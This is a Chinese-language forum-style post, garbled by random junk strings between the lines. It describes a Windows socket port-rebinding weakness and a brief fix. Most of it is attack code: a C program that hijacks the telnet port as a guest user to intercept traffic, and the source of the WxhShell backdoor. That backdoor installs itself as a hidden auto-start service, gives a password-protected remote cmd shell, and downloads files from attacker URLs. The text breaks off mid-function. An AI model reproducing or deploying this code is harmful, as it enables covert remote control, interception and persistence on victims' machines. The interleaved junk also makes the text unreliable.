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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q-n8~Ey1a s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EU %,tp /\c'kMAW! saddr.sin_family = AF_INET; F5Z,Jmi^M 6e%@uB}$ saddr.sin_addr.s_addr = htonl(INADDR_ANY); u3C_Xz MQQm3VaKS bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l6ym <V(1p ujZ`T0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N-\N\uN Gv_~@MN 这意味着什么?意味着可以进行如下的攻击: kFv*>>X` lL:a}#qxU 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T&?g) IT1YF.i 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lPZ(c%P YV<y-,Io 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6OAs%QZ ?T/]w-q> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Uj):}xgi' N/bOl~!y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mdWA5p( rm8Ys61\= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H#~gx_^U Nmj)TOEPW 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zuV%`n :\\NK/" #include HIXAA?_eh= #include ;=Ma+d# #include QB*,+u4 #include ;
oyV8P$ DWORD WINAPI ClientThread(LPVOID lpParam); hOY@vm& int main() b=,BLe\ { VJ~D.ec WORD wVersionRequested; g2vm]j DWORD ret; r5}p . WSADATA wsaData; wa"0`a:`; BOOL val; i]v3CY|3AI SOCKADDR_IN saddr; --K)7 SOCKADDR_IN scaddr; x>yqEdR=o int err; g8<ODU0[g SOCKET s; n<.7tr0f\ SOCKET sc; nTeA=0 4 int caddsize; V<QpC5 HANDLE mt; X:GRjoa DWORD tid; ZcN0:xU wVersionRequested = MAKEWORD( 2, 2 ); O[ma% E*0 err = WSAStartup( wVersionRequested, &wsaData ); q+?&w'8 if ( err != 0 ) { 74Jx \(d printf("error!WSAStartup failed!\n"); 'Z{`P0/^o` return -1; .]v>LsbhF } OrkcY39"~a saddr.sin_family = AF_INET; h4hAzFQ.s [V'c //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s41%A2Enh Y&6jFT_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9xQ|Uad+% saddr.sin_port = htons(23); @]Jq28 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uw+nll*W% { Z",0 $Gxu printf("error!socket failed!\n"); /!]K+6>u return -1; E{,WpU } A;co1,]gR val = TRUE; n!4}Hwz! //SO_REUSEADDR选项就是可以实现端口重绑定的 ] &8em1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0~nX7 { [<@L`ki printf("error!setsockopt failed!\n"); x1@,k=qrd return -1; !X}+JeU' } H:G``Vq;0m //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qz`-?,pF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ftyxz&-4$p //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |j+JLB %w&+o.k/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }9ulHiR { -V2f.QE% ret=GetLastError(); WXo bh printf("error!bind failed!\n"); 7Tp+]"bL return -1; Ugo! } eKuF7Oo listen(s,2); r=37Q14v while(1) 'pUJREb { J(8?6&=ck caddsize = sizeof(scaddr); 5MYdLAjV //接受连接请求 6pb~+=3n sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Wm{ebx if(sc!=INVALID_SOCKET) wQ/.3V[ { com4@NK mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |aU8WRq if(mt==NULL)
Oc,HnyV+ { uF[*@N printf("Thread Creat Failed!\n"); e ?7NW break; |Y6;8e`H } X.
Ur`X } #l`\'0`. CloseHandle(mt); FSz<R*2 } 3mopTzs) closesocket(s); db_}][;.c WSACleanup(); |Vlx: return 0; raSga'uT; } 1R yE8DdP DWORD WINAPI ClientThread(LPVOID lpParam) Yv)c\hm(7j { eU`O=uE SOCKET ss = (SOCKET)lpParam; Qc!3y>Y=_ SOCKET sc; h-O;5.m-P unsigned char buf[4096]; Tb;,t=;u SOCKADDR_IN saddr; `'5vkO> long num; >z/.8!#Q DWORD val; z`$c4p6G6 DWORD ret;
@PLJ)RL //如果是隐藏端口应用的话,可以在此处加一些判断 &w`DF,k| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 0s{7=Ef saddr.sin_family = AF_INET; T%FW|jKw saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {_L l'S saddr.sin_port = htons(23); dHg[r|xC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _!vy|,w@e { <]DUJuF-M printf("error!socket failed!\n"); E
y9rH_ return -1; ]xoG{%vgb } ]jiVe_ OS< val = 100; u)r:0;5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qP&:9eL { M=&,+#z<V ret = GetLastError(); Wb cm1I) return -1; =O8>[u; } FIVC~LDd if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %QGw`E { >KdV]!H ret = GetLastError(); 7Nk|9t return -1; uifVSf* } goF87^M if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L@zhbWY { ITn PF{N printf("error!socket connect failed!\n"); [.Kp/,JY closesocket(sc); `]@=Hx( closesocket(ss); dT?3Q;>B? return -1; %.$7-+:7A } I_->vC|> while(1) kcg\f@d$ { mK"s*tD //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t#t[cgI //如果是嗅探内容的话,可以再此处进行内容分析和记录 <m1v+cnqo //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o59$vX, num = recv(ss,buf,4096,0); ,5ZQPICF if(num>0) LGZa
l&9AY send(sc,buf,num,0); nu-&vX else if(num==0) =Tl_~OR break; E!mv} num = recv(sc,buf,4096,0); t:vBVDkD if(num>0) 0{8L^
jB/ send(ss,buf,num,0); S1mMz
i else if(num==0) yzzJKucVU: break; \#B<'J9.` } 7C3YVm6g closesocket(ss); xY!ud) closesocket(sc); vxI9|i return 0 ; vPz7*w } |}UkVLc_^
HDZl;= {$yju _[ ========================================================== 2xX:Q'\2 u{\'/c7G 下边附上一个代码,,WXhSHELL pe+h8 y*-_ ========================================================== 2@GizT*mA fC*cqc~{@ #include "stdafx.h" Q!U} PzNPwd #include <stdio.h> Xw!\,"{s #include <string.h> OVe0{}
j #include <windows.h> E8}evi #include <winsock2.h> }shxEsq #include <winsvc.h> 'EAskA]* #include <urlmon.h> W_Y8)KxG:L p T 8?z #pragma comment (lib, "Ws2_32.lib") V<I(M<Dj #pragma comment (lib, "urlmon.lib") G,|!&=Pe|E o5F:U4sG #define MAX_USER 100 // 最大客户端连接数 &.*UVc2+Y #define BUF_SOCK 200 // sock buffer Rxd4{L
)n #define KEY_BUFF 255 // 输入 buffer V1V0T , @q/g%-WNz #define REBOOT 0 // 重启 Q,xL8i
M, #define SHUTDOWN 1 // 关机 ^1bslCe Ms(xQ[#+ #define DEF_PORT 5000 // 监听端口 7D#y "/i$_vl #define REG_LEN 16 // 注册表键长度 $?0ch15/ #define SVC_LEN 80 // NT服务名长度 L#UR>Z#9 WxGD*% // 从dll定义API s51$x M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PWpt\g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cu0IFNF}[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k5.5$<< T typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U@mznf* J ]19VEH // wxhshell配置信息 +&`W\?.~ struct WSCFG { YS9RfK/ int ws_port; // 监听端口 YzI;) char ws_passstr[REG_LEN]; // 口令 i
U$~H int ws_autoins; // 安装标记, 1=yes 0=no M`Er&nQs char ws_regname[REG_LEN]; // 注册表键名 s3Vb2C* char ws_svcname[REG_LEN]; // 服务名 ~hLan&T char ws_svcdisp[SVC_LEN]; // 服务显示名 ssi7)0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 hJ'H@L7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tF0jH+7J- int ws_downexe; // 下载执行标记, 1=yes 0=no 5G*cAlU char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" m.e]tTe char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H,!xTy"Wh *Y m?gCig }; %SM;B-/zHt >d 2Fa4u3 // default Wxhshell configuration l]R0r{{ struct WSCFG wscfg={DEF_PORT, Cl}nPUoL "xuhuanlingzhe", )|F|\6:ne 1, *x"80UXL "Wxhshell", k&]nF,f "Wxhshell", rVYoxXv "WxhShell Service", {3tzr ;c? "Wrsky Windows CmdShell Service", i6`"e[aT[o "Please Input Your Password: ", 9oWU]A\k> 1, Z4j6z>q E " http://www.wrsky.com/wxhshell.exe", }vd*eexA "Wxhshell.exe" ):D"LC }; W lMcEje ,fVD`RR(W? // 消息定义模块 u/zBz*zh char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; du3f'=q6| char *msg_ws_prompt="\n\r? for help\n\r#>"; X
W)TI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 'ZfgCu)St char *msg_ws_ext="\n\rExit."; kmI0V[Y char *msg_ws_end="\n\rQuit."; ^:eZpQ [, char *msg_ws_boot="\n\rReboot..."; AZtS4]4G) char *msg_ws_poff="\n\rShutdown..."; )ZJvx%@i char *msg_ws_down="\n\rSave to "; wbO6Ag@)) ^PksXfk char *msg_ws_err="\n\rErr!"; [4Z 31v> char *msg_ws_ok="\n\rOK!"; Y::0v@&( *sho/[~_ char ExeFile[MAX_PATH]; }I"C4'(a int nUser = 0; w2)Ro:G HANDLE handles[MAX_USER]; BT$p~XB int OsIsNt; $`=p] Ac7^JXh% SERVICE_STATUS serviceStatus; GP|=4T}Bf SERVICE_STATUS_HANDLE hServiceStatusHandle; \U~4b_aN f&
4_:'-, // 函数声明 ])x1MmRg\ int Install(void); pMc6p0 int Uninstall(void); AKNx~!%2 int DownloadFile(char *sURL, SOCKET wsh); j=_rUc'Me int Boot(int flag); mCtS_"W void HideProc(void); ::L2zVq5V int GetOsVer(void); VSj!Gm0LB int Wxhshell(SOCKET wsl); mYBEjZB void TalkWithClient(void *cs);
PJnC int CmdShell(SOCKET sock); Gn]36~)*H int StartFromService(void);
$EMOz=)I# int StartWxhshell(LPSTR lpCmdLine); $6QIYF"" B*7kX&Uq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eE;tiX/ VOID WINAPI NTServiceHandler( DWORD fdwControl ); D)_
C@*q <G"cgN#] // 数据结构和表定义 CU$khz" SERVICE_TABLE_ENTRY DispatchTable[] = MatXhP] Fi { xVvUx,t {wscfg.ws_svcname, NTServiceMain}, mp|pz%U {NULL, NULL} GnV0~? };
idmU.` 8WP>u8& // 自我安装 F c[KIG3@ int Install(void) FR(W.5[ { C2LPLquD+
char svExeFile[MAX_PATH]; @|!4X(2 HKEY key; ~/:vr strcpy(svExeFile,ExeFile); HN47/]"* .@dC]$2= // 如果是win9x系统,修改注册表设为自启动 [)H 6`w if(!OsIsNt) { Pms@!yce if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gfk)`>E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +qxPUfN RegCloseKey(key); y48]|%73 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jx*cq;`Vee RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vr!J3H f RegCloseKey(key); , ,3lH-C return 0; +^I0>\ } h\RX/C!+ } :I"CQ
C[Z } PSrx! else { 8K8u|]i 9rB3h`AVF // 如果是NT以上系统,安装为系统服务 M,Gy.ivz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %zavSm" if (schSCManager!=0) -15e { jzvK;*N SC_HANDLE schService = CreateService 0'q4=!l ( >Wg=
Tuef schSCManager, yCX5
5: wscfg.ws_svcname, ?y>N&\pt2 wscfg.ws_svcdisp, Iil2R}1 SERVICE_ALL_ACCESS, #h!+b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D{9a'0J SERVICE_AUTO_START, MVatV[G SERVICE_ERROR_NORMAL, u#05`i:Z svExeFile, 0JR/V68$ NULL, J%bNt)K} NULL, BRFsw`c NULL, {R$`YWk NULL, wGHft`Z NULL G/x6zdk ); P0N/bp2Uy if (schService!=0) pEB3qGA { &+9 ; CloseServiceHandle(schService); cGot0' mB CloseServiceHandle(schSCManager); "|\hTRQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YznL+TD strcat(svExeFile,wscfg.ws_svcname); a%q,P @8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -]%EX:bm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rtf<UhUn RegCloseKey(key); hB?#b`i^ return 0; R P{pEd } <3Ftq= } LP3#f{U CloseServiceHandle(schSCManager); A-x^JC= }
&_)P)L } _ep&`K >iyNZ]."\ return 1; (o>N*?,} } +m_.?V6 +:A `e+\ // 自我卸载 piIZ*@' int Uninstall(void) <?7CwW { I!zoo[/)% HKEY key; mtUiO
p -6MPls+ if(!OsIsNt) { _ $PeFE2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fWP]{z` RegDeleteValue(key,wscfg.ws_regname); n'rq RegCloseKey(key); P IG,a~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { su0K#*P&I
RegDeleteValue(key,wscfg.ws_regname);
\^1^|a" RegCloseKey(key); 8;M,l2pmR{ return 0; Dw=L]i
:0v } #jbC@A9Pe } $#^3>u } qJ" (:~ else { AB
$N`+& l_yy;e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H
Qj,0#J) if (schSCManager!=0) {UH45#Ua { Ioe.[&o6B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~U+<JC Z if (schService!=0) TT/=0^" { #h ud_ if(DeleteService(schService)!=0) { GS*O{u CloseServiceHandle(schService); U["<f`z4\ CloseServiceHandle(schSCManager); 28JVW3&) return 0; \Vv)(/q { } /A5=L<T6F CloseServiceHandle(schService); l>jrY1u } . (&6gB CloseServiceHandle(schSCManager); `LH 9@Z{ } u!xgLf'` } H28-;>'` W'Gh:73'} return 1; '"Cqq{* } =ZHN]PP tzl,r"k3 // 从指定url下载文件 )fXxkOd int DownloadFile(char *sURL, SOCKET wsh) -/3h&g { *3^7'^j< HRESULT hr; |yNyk7~ char seps[]= "/"; kFJ]F |^7 char *token; /&?ei*z char *file; 4PC'7V=S char myURL[MAX_PATH]; 0#c-qy char myFILE[MAX_PATH]; qZQm*q(jM ;[zZI~wh strcpy(myURL,sURL); n n[idw token=strtok(myURL,seps); "%
i1zQo& while(token!=NULL) p-C{$5&
O1 { 1>_$O|dE file=token;
-vT$UP token=strtok(NULL,seps); kPEU }Kv } 9~,!+# }zo-%# GetCurrentDirectory(MAX_PATH,myFILE); D9(4%^HxV1 strcat(myFILE, "\\"); )W @ strcat(myFILE, file); U ;4;> send(wsh,myFILE,strlen(myFILE),0); oW7;t send(wsh,"...",3,0); 4pDZ +}p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?#5)TAW if(hr==S_OK) B_r:da CS: return 0; JjAO9j% else hHt.No return 1; Rlr[uU_ EU5(s*A } ,!~U5~ B]D51R\}VE // 系统电源模块 'u[cT$ int Boot(int flag) B*Q.EKD8s {
*!EHs04 HANDLE hToken; Qe<c@i" TOKEN_PRIVILEGES tkp; !OH'pC5 $EG<LmC-Q if(OsIsNt) { ~fA H6FdZ\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,"5p=JX` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @iz6)2z tkp.PrivilegeCount = 1; M+Y^ A7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; la!rg#)-X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qmpU{fs if(flag==REBOOT) { RG_)<U/B if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c_2kHT
return 0; \?\q0o<V$ } `^E(P1oJ3 else { %hzNkyD)Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PJcz] < return 0; Boa?Ghg } CV,[x[L#{ } I=`efc]T else { u`X}AKC if(flag==REBOOT) { Xp3cYS*u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +%RXV~ return 0; z3}4+~~ } 2|^bDg;W+u else { &-Zg0T&tZ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <$;fOp return 0; `Tf<w+H } ?+#E&F } l:kF0tj" 7"
cgj# return 1; Ec]cCLB } {z%%(,I ex2*oqAdX // win9x进程隐藏模块 )Nq$~aAm void HideProc(void) 9X{aU)"omQ { Xl%&hM 71w$i
4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0)qLW&
w if ( hKernel != NULL ) g<{W\VOPm { HgX4RSU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A]vQ1*pnk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *%cI,}% FreeLibrary(hKernel); T3{qn$t8 } Rf\>bI<. A!
1> return; @ B3@M } |xaA3UA o*QhoDjc // 获取操作系统版本 +kl@`&ga int GetOsVer(void) U07n7`2w { _W*3FH OSVERSIONINFO winfo; }qXi;u)) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =RUKN38 GetVersionEx(&winfo); M ~!*PCd5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kF.PLn'iS return 1; `h
Y:F( else /gHRJ$2|Sx return 0; n|L.dBAs] } J(-#(kMyf ^QV;[ha,o // 客户端句柄模块 t L;;Yt int Wxhshell(SOCKET wsl) ]]%CO$`T[ { 4- 6' SOCKET wsh; /{1 xpR struct sockaddr_in client; P5vM y'1X DWORD myID; WohK,<Or }
ho8d+A while(nUser<MAX_USER) y)#Ib*? { })bTQj7 int nSize=sizeof(client); Ctt{j'-[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R_4600 if(wsh==INVALID_SOCKET) return 1; 9}2I'7] NP^kbF handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]Wv\$JXI if(handles[nUser]==0) P RX:*0 closesocket(wsh); wTIOCj else HcQ{ok9u nUser++; 3r^i>r8B } :fpYraBM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >48zRi\N G*Z4~-E4* return 0; O,xU+j~) } d%4!d_I< 'ei9* 4y // 关闭 socket 5oWR}qqFK void CloseIt(SOCKET wsh) +l&ZN\@0X { yZA}WTGe closesocket(wsh); HK5\i@G+< nUser--; A*~zdZ p ExitThread(0); Alp9]
0( } o& $Fc8bH )>$xbo")k // 客户端请求句柄 a{69JY5 void TalkWithClient(void *cs) OES+BXGX { (K>5DU )MW.Y SOCKET wsh=(SOCKET)cs; !lL21C6g+ char pwd[SVC_LEN]; eA#J7=eC char cmd[KEY_BUFF]; f#/v^Ql* char chr[1]; AXz'=T}{ int i,j; *)U=ZO6S p^7ZFUP while (nUser < MAX_USER) { 'X"@C;q S;a{wYF6v if(wscfg.ws_passstr) { [9~Bau if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #ZRQVC; b; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2r,K/' //ZeroMemory(pwd,KEY_BUFF); DL_2%&k/ i=0; g(>;Z@Y
while(i<SVC_LEN) { 8BhLO.(<O 3 =KfNz_ // 设置超时 7y&Fb fd_set FdRead; aRC>pK. struct timeval TimeOut; kNMhMEez FD_ZERO(&FdRead); OTl\^! FD_SET(wsh,&FdRead); x0?8AG% TimeOut.tv_sec=8; ; mu9;ixZ TimeOut.tv_usec=0; \3hhM}6)DM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "$;=8O5O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~*ZB2 Aj*0nV9_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nMNAn}~*M pwd =chr[0]; k
9R_27F if(chr[0]==0xd || chr[0]==0xa) { '{@hBB+ D pwd=0; |)}F}~& break; M6jP>fbV* } /iQ}DbtRb i++; zT6ng# } C=t:0.:PJ t7H2z}06=h // 如果是非法用户,关闭 socket fJtJ2x i if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); - (VV } |qE"60&"} e!URj\* send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :c"J$wT/ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mDC{c ? hun
LV8z while(1) { K 2$mz j01.`G7Q ZeroMemory(cmd,KEY_BUFF); %L+/GtxK DZ?>9W{ // 自动支持客户端 telnet标准 !!E_WDZ#9 j=0; XtRfzqg?K while(j<KEY_BUFF) { lY[>}L*H8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6cp x1y]~6 cmd[j]=chr[0]; ',n;ag`c if(chr[0]==0xa || chr[0]==0xd) { -N(y+~wN cmd[j]=0; )zlksF break; ?u` ?_us } eXx6b~D j++; ~O?Gi 4^Yg } _j-k*: Hq8<g$ // 下载文件 2GLq#")P if(strstr(cmd,"http://")) { 5F+5J)h send(wsh,msg_ws_down,strlen(msg_ws_down),0); E)o/C(g if(DownloadFile(cmd,wsh)) ca*USM send(wsh,msg_ws_err,strlen(msg_ws_err),0); VG*BAFs else 3}= .7qm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DKm` } 1el?f> else { h`Vb#5ik l %=yT6 switch(cmd[0]) { quN7'5ZC[ P5* :r3> // 帮助 6_=qpP-? case '?': { nS"K
dPM send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kV!0cLH!hH break; I:U /%cr, } fc._*y#AS // 安装 F#7ZR*ZB1 case 'i': { KGxF3xS*7 if(Install()) 9m0`;~! send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z2)f$ c else SJoQaR,)> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JiEcPii break; vP^]Y.6 } !;{@O`j?b // 卸载 Jy@cMq2 case 'r': { fO[X<|9 if(Uninstall()) $SSE\+|3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bwjd/id q else {S%)GvrT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {R
`IA|T#k break; F')T:;,s } wYSvI // 显示 wxhshell 所在路径 p^Ca-+R3 case 'p': { X_C9Z char svExeFile[MAX_PATH]; oo)P(_"u strcpy(svExeFile,"\n\r"); MG>g?s'! strcat(svExeFile,ExeFile); ih.UzPg send(wsh,svExeFile,strlen(svExeFile),0); m?'5*\(ST break; 9-o{[ } >C+0LF`U // 重启 0(|R NV_ case 'b': { ?Pw#!t send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x,E#+
m if(Boot(REBOOT)) L$zT`1Hy send(wsh,msg_ws_err,strlen(msg_ws_err),0); J9)wt ?%j else { ]w]Swt2n closesocket(wsh); O}NR{B0B3& ExitThread(0); VxjEKc } [POcO break; ,a?)#X } TSdjX]Kf // 关机 j$T2ff6 case 'd': { 75K~ebRr send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bh:AY@k if(Boot(SHUTDOWN)) UYW%%5p? send(wsh,msg_ws_err,strlen(msg_ws_err),0); D4s*J21)D else { u9:;ft{}N closesocket(wsh); Il2DZ5-
) ExitThread(0); Y((z9-`
} B5#a
4G. break; LoOyqJ, } ^%M!!wlUH // 获取shell zF;}b3oIo case 's': { dS0G+3J&+E CmdShell(wsh); 2c5>0f closesocket(wsh); PdMx6 Ab ExitThread(0); TnL%_!V! break; 9V zk:zOT } V?Lf&X? // 退出 X^_,`H@ case 'x': { o1Mb HBb send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aP8Im1<A CloseIt(wsh);
L]9!-E break; 8Qu7x[tK? } IL3,dad'^ // 离开 LN?T$H case 'q': { F5:*;E;$ send(wsh,msg_ws_end,strlen(msg_ws_end),0); (oq(-Wv closesocket(wsh); ,U>g LTS WSACleanup(); <2A4}+p: exit(1); RK'3b/T break; v6s8 p } ?U|~h1
} xw%?R=&L } Ip8 Ap$ GaRL]w // 提示信息 x18ei@c if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WHbvb3' } LrF'Hd=O } 8k_,Hni AKa{C
f return; m|24)%Vj;= } v
bb mmv JB+pd_>5 // shell模块句柄 EoQ.d|:g int CmdShell(SOCKET sock) htM5Nm[g { 1)u=&t,
STARTUPINFO si; 5 Nl>4d` ZeroMemory(&si,sizeof(si)); w/YKWv{_S si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @sfV hWG si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G9E?
PROCESS_INFORMATION ProcessInfo; xBB:b\ char cmdline[]="cmd"; ]PUyX8'~ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gP/]05$e return 0; 0>Mm |x*5 } N1LR _vS" *ArzXhs[ // 自身启动模式 .WyI.Y1 int StartFromService(void) c?q#?K
aF { qmxkmO+Qur typedef struct 50_%Tl[ { %A82{ DWORD ExitStatus; rB=1*.}FLc DWORD PebBaseAddress; T+sO(; DWORD AffinityMask; jS R:ltd DWORD BasePriority; O~qB ULONG UniqueProcessId; ?:U6MjlQ"{ ULONG InheritedFromUniqueProcessId; x!I7vs~~zW } PROCESS_BASIC_INFORMATION; +pf 7 i}HF PROCNTQSIP NtQueryInformationProcess; l l&iMj] y99G 3t static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PicO3m static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pdtK3Pf N18Zsdrp HANDLE hProcess; $]Fe9E? PROCESS_BASIC_INFORMATION pbi; j4G,Z4 [bGdg HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C
